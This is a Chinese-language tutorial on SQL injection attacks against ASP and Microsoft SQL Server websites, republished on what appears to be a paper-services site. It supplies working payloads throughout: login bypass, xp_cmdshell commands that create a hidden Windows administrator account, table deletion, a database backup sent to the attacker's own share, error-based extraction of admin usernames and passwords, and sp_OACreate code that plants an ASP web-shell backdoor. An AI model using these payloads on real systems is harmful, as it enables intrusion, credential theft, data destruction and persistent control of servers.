网站导航网学 原创论文 原创专题 网站设计 最新系统 原创论文 论文降重 发表论文 论文发表 UI设计定制 论文答辩PPT格式排版 期刊发表 论文专题
返回网学首页
网学原创论文
最新论文 推荐专题 热门论文 论文专题
当前位置: 网学 > 交易代码 > SQL语法 > 正文

SQLInjection攻击技术

论文降重修改服务、格式排版等 获取论文 论文降重及排版 论文发表 相关服务

【网学网提醒】:本文主要为网学会员提供SQLInjection攻击技术,希望对需要SQLInjection攻击技术网友有所帮助,学习一下!


    SQLInjection攻击技术
    前言:这篇文章是我很久以前的作品了,写完后才知道isno也写了一篇。当我看过isno的那篇后发现了我的文章错了好多个地方,后来我对这篇文章做了一些修改,希望对读者能够有所帮助。【什么是SQLInjection】SQLInjection应该称为SQL指令植入式攻击,主要属于InputValidation的问题,它是描述一个利用写入特殊SQL程序码攻击应用程序的动作。【SQLInjection的原理】一般输入帐号密码的网站的SQL语法为select*frommemberwhereUID=’"&;request("ID")&;"’nAndPasswd=’"&;request("Pwd")&;"’如果正常使用者输入帐号pl,密码1234那么程序便会执行select*frommemberwhereUID=’pl’AndPasswd=’1234’输入的帐号和密码等信息会取代ASP(orPHP、JSP)中的变量,並由两个单引号(’’)所包住。那么,如果攻击者已知系统中已有一個Admin的管理者帐号,則输入Admin’--,即可不需输入密码而进入资料库,相应的语句为select*frommemberwhereUID=’Admin’--’nAndPasswd=’’(注:“–”符号后的任何叙述都会被当作注解,也就是说以上例子的And子句将被SQL视为说明用)【检测漏洞】对大多数SQL服务器来说,我们并不知道对方程序的具体代码,而靠任何扫描器也不可能发现SQLinjection的漏洞,这样我们就要靠手工检测了。由于我们执行SQL语句会用到单引号、分号、逗号、冒号和“――”,所以我们可以在URL后面加上以上符合,或者在表单中的文本框中加入。比如:jsw/new.asp?id=1’jsw/new.asp?id=1;通过页面返回的信息,判断是否存在SQLinjection的漏洞,这种方法只是简单的通过字符过滤来判断,根据IIS的配置不同,返回的信息也可能不同。有时显示MicrosoftOLEDBProviderforODBCDriverserror’80040e07’[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue’login_id’toacolumnofdatatypeint./index.asp,line5也可能是“http500-内部服务器错误”,或者显示正常信息,判断的根据主要是经验啦,因为现在好多服务器的没有出错回显了的。【执行系统命令】SQLinjection攻击方法最早源于’or’1’=’1的漏洞(我们暂且称其为漏洞),这个漏洞的原理我想大家因该都知道了,那么随之而来的便是;execsp_addloginhax(在数据库内添加一个hax用户),但是这个方法的限制很大,首先ASP使用的SQLServer账号是个管理员,其次请求的提交变量在整个SQL语句的最后,因为有一些程序员采用SELECT*FROMnewsWHEREid=...ANDtopic=...AND.....这种方法请求数据库,那么如果还用以上的例子就会
     news.asp?id=2;execsp_addloginhax
    变成SELECT*FROMnewsWHEREid=2;execsp_addloginhaxANDtopic=AND整个SQL语句在执行sp_addlogin的存储过程后有AND与判断存在,语法错误,你的sp_addlogin自然也不能正常运行了,因此试试看下面这个方法news.asp?id=2;execsp_addloginhax;--后面的--符号把sp_addlogin后的判断语句变成了注释,这样就不会有语法错误了,sp_addlogin正常执行!如何判断我们的命令是否成功执行了呢?我们先装一个_blank">防火墙,打开ICMP和139TCP和445TCP的警告提示然后提交news.asp?id=2;execmaster.dbo.xp_cmdshell’ping你的IP’如果_blank">防火墙提示有人ping你,那么因该可以肯定对方的ASP用的是SQL的管理员权限,同时也确定了对方的SQLServer的准确位置,因为很多大一点的网站考虑性能,会吧web服务和数据库分开,当对方大上了补丁看不到源代码时,我想只有这个方法能很快的定位对方的SQLServer的位置了那么我们连一起来用吧id=2;execmaster.dbo.sp_addloginhax;--news.asp?id=2;execmaster.dbo.sp_passwordnull,hax,hax;--news.asp?id=2;execmaster.dbo.sp_addsrvrolemembersysadminhax;--news.asp?id=2;execmaster.dbo.xp_cmdshell’netuserhaxhax/workstations:*/times:all/passwordchg:yes/passwordreq:yes/active:yes/add’;--news.asp?id=2;execmaster.dbo.xp_cmdshell’netlocalgroupadministratorshax/add’;--这样,你在他的数据库和系统内都留下了hax管理员账号了。当然大家可以试试看在id=2后面加上一个’符号,主要看对方的ASP怎么写了。运用master..Xp_cmdshell,扩展,我们就可以在目标主机上执行任意命令的,类似的还有xp_startmail,xp_sendmail,sp_makewebtask,具体的用法和master..Xp_cmdshell差不多,我在这里就不多说了。需要指明的是这种攻击方法的前提条件是ASP用管理员账号,所以虚拟空间大家就别试了,不会存在这个漏洞的。以后我们会讨论,如果对方的ASP不是用SQL管理员账号的时候,我们应该如何攻击。【对数据库的攻击】通常ASP用的SQL账号就算不是管理员也会是某个数据库的owner,至少对于这个库有很高的管理权限。大家可以试试看jsw/something.asp?newid=117;select123;--呵呵,报语法错误,select123错误,显而易见,这个ASP在newid变量后面用’号结束那么试试看jsw/something..asp?newid=117’;deletenews;--哈哈,我想只要表名猜对了,数据库里面的信息就被删了。还有一种的作法,就是提交news.asp?id=2;declare@a;set@a=db_name();backupdatabase@atodisk=’你的IP你的共享目录bak.dat’,name=’test’;--呵呵,你的_blank">防火墙该发出警告了,有人连接你的445或139(win9端口了,这样,对方的SQL的ip一样也可以暴露,其实backuodatabase到你的
    硬盘还是有点夸张了,如果对方数据库很庞大,你又是拨号上网,呵呵,劝你别试了,很难成功传输的。
     【从数据库中提取任意信息】这是本文要简单的一个重要的部分。一般来说,用于查询数据的SQL语句会用到以下的这种格式:someting.asp:v_cat=request("category")sqlstr="SELECT*FROMproductWHEREPCategory=’"&;v_cat&;"’"setrs=conn.execute(sqlstr)那么我们向包含以上代码的ASP文件提交jsw/index.asp?category=food’or1=1--’切换到程序中后变成SELECT*FROMproductWHEREPCategory=’food’or1=1--’也就是说我们可以提交一些非法的值给这个ASP脚本,使它执行我们想要的SQL语句。下面我用一个攻击过程来说明SQLinjection的利用方法。在使用SQLinjection攻击的时候,我们首先要得到目标数据库的结构,提交jsw/index.asp?id=10UNIONSELECTTOP1TABLE_NAMEFROMINFORMATION_SCHEMA.TABLES--INFORMATION_SCHEMA.TABLES包含的是数据库上的所有表名,我们提交的SQL语句为SELECTTOP1TABLE_NAMEFROMINFORMATION_SCHEMA.TABLES—主要是用来得到数据库上的第一个表名。MSSQLServer尝试去执行这个语句的时侯将返当回以下的信息:MicrosoftOLEDBProviderforODBCDriverserror’80040e07’[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue’syssegments’toacolumnofdatatypeint./index.asp,line5而这种ODBC的错误信息恰好包含了我们想要的内容。现在我们得到可数据库中的第一个表名:“syssegments”这是建立数据库后系统自动生成的,接下来我们继续提交:jsw/index.asp?id=10UNIONSELECTTOP1TABLE_NAMEFROMINFORMATION_SCHEMA.TABLESWHERETABLE_NAMENOTIN(’syssegments’)--可以得到下一个表名当然,我们也可以通过LIKE对数据库进行查询:jsw/index.asp?id=10UNIONSELECTTOP1TABLE_NAMEFROMINFORMATION_SCHEMA.TABLESWHERETABLE_NAMELIKE’%25login%25’--返回:MicrosoftOLEDBProviderforODBCDriverserror’80040e07’[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue’admin_login’toacolumnofdatatypeint.
     /index.asp,line5在SQLSERVER中,’%25login%25’将会被替换为%login%。这样我们同样可以得到了数据库中的第一个表名。我们再来提取admin_login表中的数据分类。jsw/index.asp?id=10UNIONSELECTTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME=’admin_login’--返回:MicrosoftOLEDBProviderforODBCDriverserror’80040e07’[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue’login_id’toacolumnofdatatypeint./index.asp,line5ODBC信息中的“admin_login”便是第一个分类内容,要得到其他的分类,还可以使用http:/
    /jsw/index.asp?id=10UNIONSELECTTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME=’admin_login’WHERECOLUMN_NAMENOTIN(’login_id’)--返回:MicrosoftOLEDBProviderforODBCDriverserror’80040e07’[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue’login_name’toacolumnofdatatypeint./index.asp,line5类似的还有:jsw/index.asp?id=10UNIONSELECTTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME=’admin_login’WHERECOLUMN_NAMENOTIN(’login_id’,’login_name’,’password’,details’)--现在我们来开始提取数据库中的帐号和密码,先从admin_login表中得到第一个login_name。提交:jsw/index.asp?id=10UNIONSELECTTOP1login_nameFROMadmin_login--返回的信息:MicrosoftOLEDBProviderforODBCDriverserror’80040e07’[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue’neo’toacolumnofdatatypeint./index.asp,line5很显然,数据库中的第一个“login_name”为neo。看看他的密码是什么:jsw/index.asp?id=10UNIONSELECTTOP1passwordFROMadmin_loginwherelogin_name=’neo’—返回:MicrosoftOLEDBProviderforODBCDriverserror’80040e07’[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarchar
     value’pilv’toacolumnofdatatypeint./index.asp,line5也就是说用户neo的密码为pilv。【象数据库的内容进行添加和需改】要向数据库中提交或者修改数据,我们通常会用到INSERT和UPDATE命令。例如,向数据库中添加信息:jsw/index.asp?id=10;INSERTINTO’admin_login’(’login_id’,’login_name’,’password’,’details’)VALUES(666,’neo2’,’newpas5’,’NA’)—这样我们便成功的在数据库中增加了一个用户neo2,密码为newpas5。向数据库中修改数据用到的是UPDATE命令,例如更换neo的密码:jsw/index.asp?id=10;UPDATE’admin_login’SET’password’=’newpas5’WHERElogin_name=’neo’—-这个语句的意思我想大家一定明白了吧。【其他】与OLEAutomation/COM物件相关的延伸预存程序:SQLServer提供了一组存取伺服器外部OLE物件相关的预存程序。它们分别是:sp_OACreatesp_OADestroysp_OAMethodsp_OAGetPropertysp_OASetPropertysp_OAGetErrorInfosp_OAStop你可以用它们来建立OLE物件(一般COM物件就可以了,但要支援IDispatch介面),执行物件的方法,读取与修改属性,进行错误处理。但它们无法回应一般OLE或COM物件的事件。有了COM/OLE物件的建立与执行,对於控制系统来说可算是如虎添翼,无所不能了。稍举个例子,我们可以利用它来取得有兴趣的网页的原始码:’;DECLARE@shellINTEXECSP_OACREATE’wscript.shell’,@shellOUTP
    UTEXECSP_OAMETHOD@shell,’run’,null,’C:\WINNT\system32\cmd.exe/ctypec:\inetpub\wwwroot\sqlinject\login.asp>c:\inetpub\wwwroot\sqlinject\test.txt’--
    利用Scripting.FileSystemObject来建立一个ASP网页后门:’;DECLARE@fsint,@fiintEXECSP_OACREATE’Scripting.FileSystemObject’,@fsOUTPUTEXECSP_OAMETHOD@fs,’CreateTextFile’,@fsOUTPUT,’C:\InetPub\WWWRoot\SQLInject\Shell.asp’,1EXECSP_OAMETHOD@fs,’WriteLine’,null,’’
     建立ASP後门网页。从此透过URL就可以执行任何执行档,范例如下:sqlinject/shell.asp?cmd=C:\WINNT\system32\cmd.exe">localhost/sqlinject/shell.asp?cmd=C:\WINNT\system32\cmd.exe/ctypec:\inetpub\wwwroot\sqlinject\login.asp>c:\inetpub\wwwroot\sqlinject\test.txt
    读取服务器的系统信息:’unionselect@@version,1,1--’unionselect@@version,1,1--其他相关的延伸预存程序:xp_dirtree:显示某个目录下的子目录与档案架构例子:xp_dirtree’c:\inetpub\wwwroot\’xp_ntsec_enumdomains:列出服务器域名名称例子:xp_ntsec_enumdomainsxp_terminate_process:停掉某个执行中的程序,但赋予的参数是ProcessID例子:xp_terminate_process2484
    
    
  • 下一篇资讯: SQLInjection技巧的演练
  • 设为首页 | 加入收藏 | 网学首页 | 原创论文 | 计算机原创
    版权所有 网学网 [Myeducs.cn] 您电脑的分辨率是 像素
    Copyright 2008-2020 myeducs.Cn www.myeducs.Cn All Rights Reserved 湘ICP备09003080号 常年法律顾问:王律师